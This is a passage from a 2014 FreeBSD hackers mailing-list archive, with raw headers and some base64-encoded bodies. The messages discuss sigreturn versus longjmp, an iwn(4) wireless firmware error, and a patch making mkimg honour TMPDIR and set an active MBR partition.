Am I missing something totally obvious? >=20 > I expect this is just stale documentation. > Unfortunately, some quick poking at the svn log for=20 > sys/i386/i386/support.s does not make it immediately clear when the code= =20 > changed to not match the documentation. support.s is not related to the issue discussed. Theoretically, sigreturn(2) might be required on some architectures, where the raw access to the usermode CPU state requires supervisor CPU state. AFAIK all architectures FreeBSD runs on either do not have this quirk, or limit the state saved and restored in the setjmp/longjmp functions, to the state accessible to the usermode. For instance, even on x86, the TLS base is not saved and consequently not restored by *jmp(3), and cannot be accessed directly by usermode, while sigreturn(2) allows to perform full context modification, including TLS base. Some implementations of longjmp(3)-like functionality, e.g. the one provided by libunwind, do utilize sigreturn(2) to unwind over the signal frame. --5c2rcFySGndwecVE Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTfh2qAAoJEJDCuSvBvK1B9JoP/3uF/9YXkbaZbPEF6LMx50Jk rirhASwIdpOBG5O3oii5+UoxhVcZC2PCLweVtg08HOvqxQAn+6vne27S4B9c/bsw PcAlMuEOyoPq8jvlS7SfNb+QwkYDEIUgtpFUS+dCMo9TPUuhGj5XPNOfwWkQjxef bJT22GRCit5FVOXyD8FDF198OCm2RQBTrhvdi6a6VA0mCdVu/nyYXVSi3/m4LyoS 5d/D0OI+5Q1oWr97ewWEgnt4FbkGYPmcB8mTw4JlOrr9FyG1BR4HAX47zpti8TrQ S5bUScF/ERLyHX/i14O2ZF0h2QofGw02e6YNjoJnLZA0ZltnDEn8p8vSCrvNq1cl iY211MMSoOBLh9qyOG5ZuojGJ0IuiDnbUKmhiyhvnmWjfX2xaY+J52bo2IfJUiuE MBw4raT8Ars29L+aYMd5+yHPiCRJRojFixOoqEdJG6SO3NSb8QVssbKvpbYtJ2DD DrOnqDL2UIYrSLQtF5wda8vc/oH5TLC05WKmulvSmxHKs7lit6JZe/J2ftkfCpdj Sk5Utsoic2Xk3Rroz80hNeeiR0VtkIVyjFZFrOBTeh4suuY5l5veXK47UUKYcNnI 8K+CobSh7jU+mloPj+l1zfeZfpKS4T5Lft4IjFkMSrY48m36FBQxcEQdudtjxk0x BhUfHw7CQXycVsotreci =wu7M -----END PGP SIGNATURE----- --5c2rcFySGndwecVE-- From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 17:19:26 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5BF7EB65; Thu, 22 May 2014 17:19:26 +0000 (UTC) Received: from mail.ignoranthack.me (ignoranthack.me [199.102.79.106]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 3B2FC2748; Thu, 22 May 2014 17:19:25 +0000 (UTC) Received: from [10.12.72.220] (unknown [69.164.56.1]) (using SSLv3 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: sbruno@ignoranthack.me) by mail.ignoranthack.me (Postfix) with ESMTPSA id 11040194138; Thu, 22 May 2014 17:19:25 +0000 (UTC) Subject: Re: Workaround for "fatal firmware error" iwn(4) problem. From: Sean Bruno Reply-To: sbruno@freebsd.org To: Edward Tomasz =?iso-8859-2?Q?Napiera=B3a?= In-Reply-To: <8FB7D6BF-005A-41A1-9DCE-C8B09EA338EE@FreeBSD.org> References: <8FB7D6BF-005A-41A1-9DCE-C8B09EA338EE@FreeBSD.org> Content-Type: text/plain; charset="iso-8859-2" Date: Thu, 22 May 2014 10:19:24 -0700 Message-ID: <1400779164.1069.4.camel@bruno> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 8bit Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 17:19:26 -0000 On Fri, 2014-05-16 at 20:06 +0200, Edward Tomasz Napierała wrote: > I've started using FreeBSD laptop and iwn(4) failing at random moments > like this... > > May 16 17:11:54 brick kernel: iwn0: iwn_intr: fatal firmware error so, interesting. iwi(4) seems to do the same thing. I'm not sure what's up, but I've been trying to pin it down. I suspect we've aggrivated something in the firmware recently. sean From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 17:40:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 11B90367; Thu, 22 May 2014 17:40:12 +0000 (UTC) Received: from mail-ee0-x234.google.com (mail-ee0-x234.google.com [IPv6:2a00:1450:4013:c00::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 758612915; Thu, 22 May 2014 17:40:11 +0000 (UTC) Received: by mail-ee0-f52.google.com with SMTP id e53so2780464eek.25 for ; Thu, 22 May 2014 10:40:09 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=/GXi6aerB6F7tfH1zqRV6psVZOqkSGwhkusQJzdlQsE=; b=0N1VOnr/C/zMcO8Una8Vl1Gimcp0jau0iowDB3FrbhkL7YZEKA6vIrlqlFyAPJgBBX 72HcrSmm+fiqCBnXanjuForHz5h9DebM0tuPmcnJZD9syonR4SmJ3MzY7oWqvMD1b5Ki 7Cpxinl5Pwj9KtF7AD3ZNmNwrlrBLqrG4zwqQGwv6eOxavfuM5obpWVokQGN4g/K379d O9WfE9Yi8SBLFgwD4hsTceDxkYiLn7WQVySg+SbEU9lAAsVGVLFykidYioqo3HTRDmbi G1N0wz7Wxpe4hjDNbVmJMPmc8LbQGaqNJTTQp1J1Z+q/H8D5lADGnI2tZpXhLoPjyF+/ xOQQ== X-Received: by 10.15.33.140 with SMTP id c12mr101193eev.41.1400780409704; Thu, 22 May 2014 10:40:09 -0700 (PDT) Received: from strashydlo.home (adhh46.neoplus.adsl.tpnet.pl. [79.184.163.46]) by mx.google.com with ESMTPSA id l45sm1974055eep.25.2014.05.22.10.40.08 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 22 May 2014 10:40:09 -0700 (PDT) Sender: =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= Subject: Re: Workaround for "fatal firmware error" iwn(4) problem. Mime-Version: 1.0 (Apple Message framework v1283) Content-Type: text/plain; charset=iso-8859-2 From: =?iso-8859-2?Q?Edward_Tomasz_Napiera=B3a?= In-Reply-To: <1400779164.1069.4.camel@bruno> Date: Thu, 22 May 2014 19:40:07 +0200 Content-Transfer-Encoding: quoted-printable Message-Id: References: <8FB7D6BF-005A-41A1-9DCE-C8B09EA338EE@FreeBSD.org> <1400779164.1069.4.camel@bruno> To: sbruno@freebsd.org X-Mailer: Apple Mail (2.1283) Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 17:40:12 -0000 Wiadomo=B6=E6 napisana przez Sean Bruno w dniu 22 maj 2014, o godz. = 19:19: > On Fri, 2014-05-16 at 20:06 +0200, Edward Tomasz Napiera=B3a wrote: >> I've started using FreeBSD laptop and iwn(4) failing at random = moments >> like this... >>=20 >> May 16 17:11:54 brick kernel: iwn0: iwn_intr: fatal firmware error >=20 >=20 > so, interesting. iwi(4) seems to do the same thing. I'm not sure > what's up, but I've been trying to pin it down. It seems to already have the required code, iwi_restart(). Doesn't it work? From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 17:42:51 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 06523464; Thu, 22 May 2014 17:42:51 +0000 (UTC) Received: from na01-bn1-obe.outbound.protection.outlook.com (mail-bn1lp0144.outbound.protection.outlook.com [207.46.163.144]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (Client CN "mail.protection.outlook.com", Issuer "MSIT Machine Auth CA 2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 849A32998; Thu, 22 May 2014 17:42:49 +0000 (UTC) Received: from BY2PR05MB127.namprd05.prod.outlook.com (10.242.38.24) by BY2PR05MB126.namprd05.prod.outlook.com (10.242.38.22) with Microsoft SMTP Server (TLS) id 15.0.944.11; Thu, 22 May 2014 17:42:40 +0000 Received: from BY2PR05MB127.namprd05.prod.outlook.com ([169.254.6.14]) by BY2PR05MB127.namprd05.prod.outlook.com ([169.254.6.14]) with mapi id 15.00.0944.000; Thu, 22 May 2014 17:42:40 +0000 From: Marcel Moolenaar To: Dan McGregor , Alan Somers Subject: Re: Patch to tech mkimg about the TMPDIR variable Thread-Topic: Patch to tech mkimg about the TMPDIR variable Thread-Index: AQHPddUFudBTcphboUmPhqEVK4WJ0ZtMaW2A Date: Thu, 22 May 2014 17:42:39 +0000 Message-ID: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.3.8.130913 x-originating-ip: [66.129.239.13] x-forefront-prvs: 021975AE46 x-forefront-antispam-report: SFV:NSPM; SFS:(428001)(377454003)(24454002)(479174003)(189002)(199002)(51704005)(54356999)(77982001)(99396002)(50986999)(76482001)(31966008)(16236675002)(4396001)(74662001)(99286001)(83072002)(87936001)(2656002)(46102001)(74502001)(81542001)(81342001)(83322001)(19580405001)(19580395003)(20776003)(66066001)(64706001)(80022001)(86362001)(101416001)(79102001)(92566001)(21056001)(85852003)(36756003)(92726001)(83506001); DIR:OUT; SFP:; SCL:1; SRVR:BY2PR05MB126; H:BY2PR05MB127.namprd05.prod.outlook.com; FPR:; MLV:sfv; PTR:InfoNoRecords; MX:1; A:1; LANG:en; received-spf: None (: juniper.net does not designate permitted sender hosts) authentication-results: spf=none (sender IP is ) smtp.mailfrom=marcelm@juniper.net; MIME-Version: 1.0 X-OriginatorOrg: juniper.net X-Mailman-Approved-At: Thu, 22 May 2014 18:59:18 +0000 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 17:42:51 -0000 T24gNS8yMi8xNCwgODo0NSBBTSwgIkRhbiBNY0dyZWdvciIgPGRhbmlzbW9zdGxpa2VseUBnbWFp bC5jb208bWFpbHRvOmRhbmlzbW9zdGxpa2VseUBnbWFpbC5jb20+PiB3cm90ZToNCj4NCj4gU28s IEkgcGF0Y2hlZCBta2ltZyB0byByZXNwZWN0IHRoZSBUTVBESVIgdmFyaWFibGUuDQo+DQo+IFRo b3VnaHRzPw0KDQpMR1RNLiAgV2lsbCB5b3UgdXBkYXRlIHRoZSBtYW4gcGFnZSB0b28/DQoNCg0K SSBoYWRuJ3QgdGhvdWdodCBvZiBvZiB0aGF0LiBJIHNoYWxsIGFuZCBwb3N0IGEgbmV3IHBhdGNo Lg0KDQpOZXcgcGF0Y2gsIHdpdGggbWFuIHBhZ2UgdXBkYXRlcyBhcyB3ZWxsLg0KDQpOaWNlbHkg ZG9uZS4gVGhhbmtzLg0KTGV0IG1lIGtub3cgaWYgSSBzaG91bGQgY29tbWl0Li4uDQoNCi0tDQpN YXJjZWwgTW9vbGVuYWFyDQptYXJjZWxtQGp1bmlwZXIubmV0DQo= From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 17:54:43 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A3E14768; Thu, 22 May 2014 17:54:43 +0000 (UTC) Received: from mail.ignoranthack.me (ignoranthack.me [199.102.79.106]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 832352A6A; Thu, 22 May 2014 17:54:43 +0000 (UTC) Received: from [10.167.31.71] (12.sub-70-209-77.myvzw.com [70.209.77.12]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) (Authenticated sender: sbruno@ignoranthack.me) by mail.ignoranthack.me (Postfix) with ESMTPSA id 8926E194138; Thu, 22 May 2014 17:54:41 +0000 (UTC) Date: Thu, 22 May 2014 10:54:39 -0700 Subject: Re: Workaround for "fatal firmware error" iwn(4) problem. Message-ID: <3am0iq7vn2l3np23f77vm5hm.1400781279549@email.android.com> Importance: normal From: Sean Bruno To: =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= , sbruno@freebsd.org MIME-Version: 1.0 X-Mailman-Approved-At: Thu, 22 May 2014 19:00:16 +0000 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: base64 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 17:54:43 -0000 UmVzdGFydGluZyB0aGUgaW50ZXJmYWNlIG1hbnVhbGx5IHdvcmtzLgoKLS0tLS0tLS0gT3JpZ2lu YWwgbWVzc2FnZSAtLS0tLS0tLQpGcm9tOiBFZHdhcmQgVG9tYXN6IE5hcGllcmHFgmEgPHRyYXN6 QEZyZWVCU0Qub3JnPiAKRGF0ZTowNS8yMi8yMDE0ICAxMDo0MCBBTSAgKEdNVC0wNzowMCkgClRv OiBzYnJ1bm9AZnJlZWJzZC5vcmcgCkNjOiAiZnJlZWJzZC1oYWNrZXJzQGZyZWVic2Qub3JnIiA8 ZnJlZWJzZC1oYWNrZXJzQEZyZWVCU0Qub3JnPiAKU3ViamVjdDogUmU6IFdvcmthcm91bmQgZm9y ICJmYXRhbCBmaXJtd2FyZSBlcnJvciIgaXduKDQpIHByb2JsZW0uIAoKV2lhZG9tb8WbxIcgbmFw aXNhbmEgcHJ6ZXogU2VhbiBCcnVubyB3IGRuaXUgMjIgbWFqIDIwMTQsIG8gZ29kei4gMTk6MTk6 Cgo+IE9uIEZyaSwgMjAxNC0wNS0xNiBhdCAyMDowNiArMDIwMCwgRWR3YXJkIFRvbWFzeiBOYXBp ZXJhxYJhIHdyb3RlOgo+PiBJJ3ZlIHN0YXJ0ZWQgdXNpbmcgRnJlZUJTRCBsYXB0b3AgYW5kIGl3 big0KSBmYWlsaW5nIGF0IHJhbmRvbSBtb21lbnRzCj4+IGxpa2UgdGhpcy4uLgo+PiAKPj4gTWF5 IDE2IDE3OjExOjU0IGJyaWNrIGtlcm5lbDogaXduMDogaXduX2ludHI6IGZhdGFsIGZpcm13YXJl IGVycm9yCj4gCj4gCj4gc28sIGludGVyZXN0aW5nLsKgIGl3aSg0KSBzZWVtcyB0byBkbyB0aGUg c2FtZSB0aGluZy7CoCBJJ20gbm90IHN1cmUKPiB3aGF0J3MgdXAsIGJ1dCBJJ3ZlIGJlZW4gdHJ5 aW5nIHRvIHBpbiBpdCBkb3duLgoKSXQgc2VlbXMgdG8gYWxyZWFkeSBoYXZlIHRoZSByZXF1aXJl ZCBjb2RlLCBpd2lfcmVzdGFydCgpLsKgIERvZXNuJ3QKaXQgd29yaz8KCg== From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 19:15:46 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9AA123EF; Thu, 22 May 2014 19:15:46 +0000 (UTC) Received: from mail-qc0-x232.google.com (mail-qc0-x232.google.com [IPv6:2607:f8b0:400d:c01::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4BD1421C8; Thu, 22 May 2014 19:15:46 +0000 (UTC) Received: by mail-qc0-f178.google.com with SMTP id l6so6404754qcy.23 for ; Thu, 22 May 2014 12:15:45 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=+Ur2n6KBTd2DbNH84cZD3NGpoFAT3MjKrCHngh5A5Dg=; b=ieG/SxzlXMuZEWJE1T8ybYjGaYKJIfRxviL/hG+WlsPGgx1fDsce7o3XDcXh04TNJB jKdtYBaAItKQmosqFruw1L+jQcXLNSZ4ruBIffuL9u6bHZZ+nGi24rOWhZeVzXZYpOxO wgHToQ9VGEj5MFAqzXHiy5sFS7pDZxjK6Uspg4VNwNbvjxxzbf3rjw0O5A3q8RoySqvU UF6gp03kAnwKxSnuHULbUjoNb9G+BVDqsWLx03/v6ADRR3eColQMan5egFIP6lwt2LXc qCLOh9jHflp2zzdPgMF20EcnTTh51szV6Ji7DgwcwPT48iE0/R8xn2QtPZhXbQgmeH9S mdig== MIME-Version: 1.0 X-Received: by 10.224.56.5 with SMTP id w5mr80783756qag.60.1400786145497; Thu, 22 May 2014 12:15:45 -0700 (PDT) Received: by 10.96.84.232 with HTTP; Thu, 22 May 2014 12:15:45 -0700 (PDT) In-Reply-To: References: Date: Thu, 22 May 2014 13:15:45 -0600 Message-ID: Subject: Re: Patch to tech mkimg about the TMPDIR variable From: Dan McGregor To: Marcel Moolenaar Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" , Alan Somers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 19:15:46 -0000 On 22 May 2014 11:42, Marcel Moolenaar wrote: > On 5/22/14, 8:45 AM, "Dan McGregor" wrote: >>> >>> > >>> > So, I patched mkimg to respect the TMPDIR variable. >>> > >>> > Thoughts? >>> >>> LGTM. Will you update the man page too? >>> >> >> I hadn't thought of of that. I shall and post a new patch. > > > New patch, with man page updates as well. > > > Nicely done. Thanks. > Let me know if I should commit... Well I won't; I'm not a committer. I'll leave it up to you fancy people with commit bits whether it should be committed. I have other ideas for the tool too, but I don't have time to work on those at the moment. Dan From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 20:12:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9682592B; Thu, 22 May 2014 20:12:05 +0000 (UTC) Received: from mail-qc0-x22f.google.com (mail-qc0-x22f.google.com [IPv6:2607:f8b0:400d:c01::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 48C0026CB; Thu, 22 May 2014 20:12:05 +0000 (UTC) Received: by mail-qc0-f175.google.com with SMTP id w7so6585896qcr.6 for ; Thu, 22 May 2014 13:12:04 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=/TDSYHUHkN3HjeuGM2adaQy+JuKxdZNHQpy2WbZmV7Q=; b=cVTRo2jp2VCAjGpnq0g7r8qmtQ2YPZ6UuYKUaR6s7RyZujZu6uKNrLixxTMoCZ8yP7 589c3QLImNKwJjqhm6qFNvTK2UY1PMj1PtB3ZpM37I6yiKuLMtKmbPTK2oLsPJt0yOrs RfqQWwOc0YvEfi6OT9j+n48V6mj9F2NB3KXUBUtN9R5zm7ATn6vrN+ok2VFqCkWbGSBh xkQUrsCMWaEy9L6B1yOys4bDeQXrlqcZjM08TJsC1Dx+Tb3bb95ZrglJRtYgzRM8gryb AXLjrFgjY8k1EtWk+Twdh7NtjQgRI1zIuyg4AG4wFfyLXozYMoWninddv3tiaMwfMQWX ii1w== MIME-Version: 1.0 X-Received: by 10.140.107.137 with SMTP id h9mr169926qgf.30.1400789524506; Thu, 22 May 2014 13:12:04 -0700 (PDT) Received: by 10.96.84.232 with HTTP; Thu, 22 May 2014 13:12:04 -0700 (PDT) In-Reply-To: References: Date: Thu, 22 May 2014 14:12:04 -0600 Message-ID: Subject: Re: Patch to tech mkimg about the TMPDIR variable From: Dan McGregor To: Marcel Moolenaar Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" , Alan Somers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 20:12:05 -0000 On 22 May 2014 13:58, Marcel Moolenaar wrote: > On 5/22/14, 12:15 PM, "Dan McGregor" wrote: >> >>Well I won't; I'm not a committer. I'll leave it up to you fancy >>people with commit bits whether it should be committed. > > Commit I shall do... > >>I have other ideas for the tool too, but I don't have time to work on >>those at the moment. > > Feel free to share them... The next itch I want to scratch is a way to set the active partition on an MBR image. The beaglebone requires the active flag set in order to boot, even though it doesn't load the mbr. Right now I just create the image file, then edit the partition table manually when I copy the image to the flash device. Dan From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 20:25:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3A770D3A; Thu, 22 May 2014 20:25:01 +0000 (UTC) Received: from mail-qc0-x233.google.com (mail-qc0-x233.google.com [IPv6:2607:f8b0:400d:c01::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id E052027D7; Thu, 22 May 2014 20:25:00 +0000 (UTC) Received: by mail-qc0-f179.google.com with SMTP id x3so6601427qcv.38 for ; Thu, 22 May 2014 13:25:00 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=NzDFk4W0kPZNwIv92+qwmfiCi5AvPOWzm7/IgsqS5Go=; b=hBX9i53Nfycv5/5HPg0AK/RSDEDPeCw74nwH1C6CaCUJ/WKbONyfURI7bA/IWA05JL ZKcWAnsaDopQUONgh1ZsfsvTfCCcIAiUGkrJ7ibQdRBV1OTzeGDhAANl8U+jQubCa06C 7lbK/Doizfu3jFMvc/f0KDMS0Oq8Y+NSA3OR3DbpkDE5L9XTibwvrJqul01msLeqcUde I41Zn6ZK4MB110XltimUD5h+ZUismYcphVbGyZdLXsWhQZxbySBO+GXKG3ekLmOLFula ZQW6ahmmQ9piLDM+EOnIIrd8xl8niLyKL1McRL52Lua1IFLit+nYD9L/JlAIfXW+tsUA VZLg== MIME-Version: 1.0 X-Received: by 10.224.103.129 with SMTP id k1mr205549qao.62.1400790299983; Thu, 22 May 2014 13:24:59 -0700 (PDT) Received: by 10.96.84.232 with HTTP; Thu, 22 May 2014 13:24:59 -0700 (PDT) In-Reply-To: References: Date: Thu, 22 May 2014 14:24:59 -0600 Message-ID: Subject: Re: Patch to tech mkimg about the TMPDIR variable From: Dan McGregor To: Marcel Moolenaar Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: "freebsd-hackers@freebsd.org" , Alan Somers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 20:25:01 -0000 On 22 May 2014 14:18, Marcel Moolenaar wrote: > On 5/22/14, 1:12 PM, "Dan McGregor" wrote: > >>On 22 May 2014 13:58, Marcel Moolenaar wrote: >>> On 5/22/14, 12:15 PM, "Dan McGregor" wrote: >>>> >>>>Well I won't; I'm not a committer. I'll leave it up to you fancy >>>>people with commit bits whether it should be committed. >>> >>> Commit I shall do... >>> >>>>I have other ideas for the tool too, but I don't have time to work on >>>>those at the moment. >>> >>> Feel free to share them... >> >>The next itch I want to scratch is a way to set the active partition >>on an MBR image. > > I thought I made the first partition active by default. > I guess not=E2=80=A6 If it does and I'm just brain-damaged and missed it that's fine. It covers my use case. I don't think it does, though, unless you changed that recently. From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 20:28:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D1EF322F; Thu, 22 May 2014 20:28:28 +0000 (UTC) Received: from mail-qg0-x230.google.com (mail-qg0-x230.google.com [IPv6:2607:f8b0:400d:c04::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 8397C2803; Thu, 22 May 2014 20:28:28 +0000 (UTC) Received: by mail-qg0-f48.google.com with SMTP id i50so6512945qgf.21 for ; Thu, 22 May 2014 13:28:27 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=uXbH/AnEQRacEw5awssCdTQxIUjRolTiy0holU5SV1s=; b=xaM96waMOFljkrP9ekIA01uuoQ1JiqrTx6p3EcNPYAzl8Eeajpu8oLwEXQ4C6rg8K+ Xlks9vfxkIMW553MEuwzy+lj8km+rraK+sb1qhfH9W0epChnsbxvoo/ZhSFNwY+s4SsF Q5DmyCNPusbN/bRYPiD8Pw6OuOYhWT/pLDx+RyB/U1X7JmVYfijuFm8upL5kwvzFSyUR 7UT57qanSJPwBDk/OW0JmJ0iNIa97xQPOVUdq6dEN1VulHAJ1RFKX7m4nkjVW7YRvKam RjnV6U60egT00rcsH9oJLNjaka2kEndxHDjZCdlMHejz6l8WyR2KupZ61WK9dNuyntO8 MnKg== MIME-Version: 1.0 X-Received: by 10.224.103.129 with SMTP id k1mr235147qao.62.1400790507736; Thu, 22 May 2014 13:28:27 -0700 (PDT) Received: by 10.96.84.232 with HTTP; Thu, 22 May 2014 13:28:27 -0700 (PDT) In-Reply-To: References: Date: Thu, 22 May 2014 14:28:27 -0600 Message-ID: Subject: Re: Patch to tech mkimg about the TMPDIR variable From: Dan McGregor To: Marcel Moolenaar Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: "freebsd-hackers@freebsd.org" , Alan Somers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 May 2014 20:28:28 -0000 On 22 May 2014 14:27, Marcel Moolenaar wrote: > On 5/22/14, 1:18 PM, "Marcel Moolenaar" wrote: >>> >>>The next itch I want to scratch is a way to set the active partition >>>on an MBR image. >> >>I thought I made the first partition active by default. >>I guess not=E2=80=A6 > > Yes, I did! > > The gotcha is that mkimg only does that if you give it > a boot code file. Try that... That makes sense. I'll give it a shot. Thanks. Dan From owner-freebsd-hackers@FreeBSD.ORG Thu May 22 20:33:24 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CB145446; Thu, 22 May 2014 20:33:24 +0000 (UTC) Received: from mail-qg0-x236.google.com (mail-qg0-x236.google.com [IPv6:2607:f8b0:400d:c04::236]) (using TLSv1 with cipher 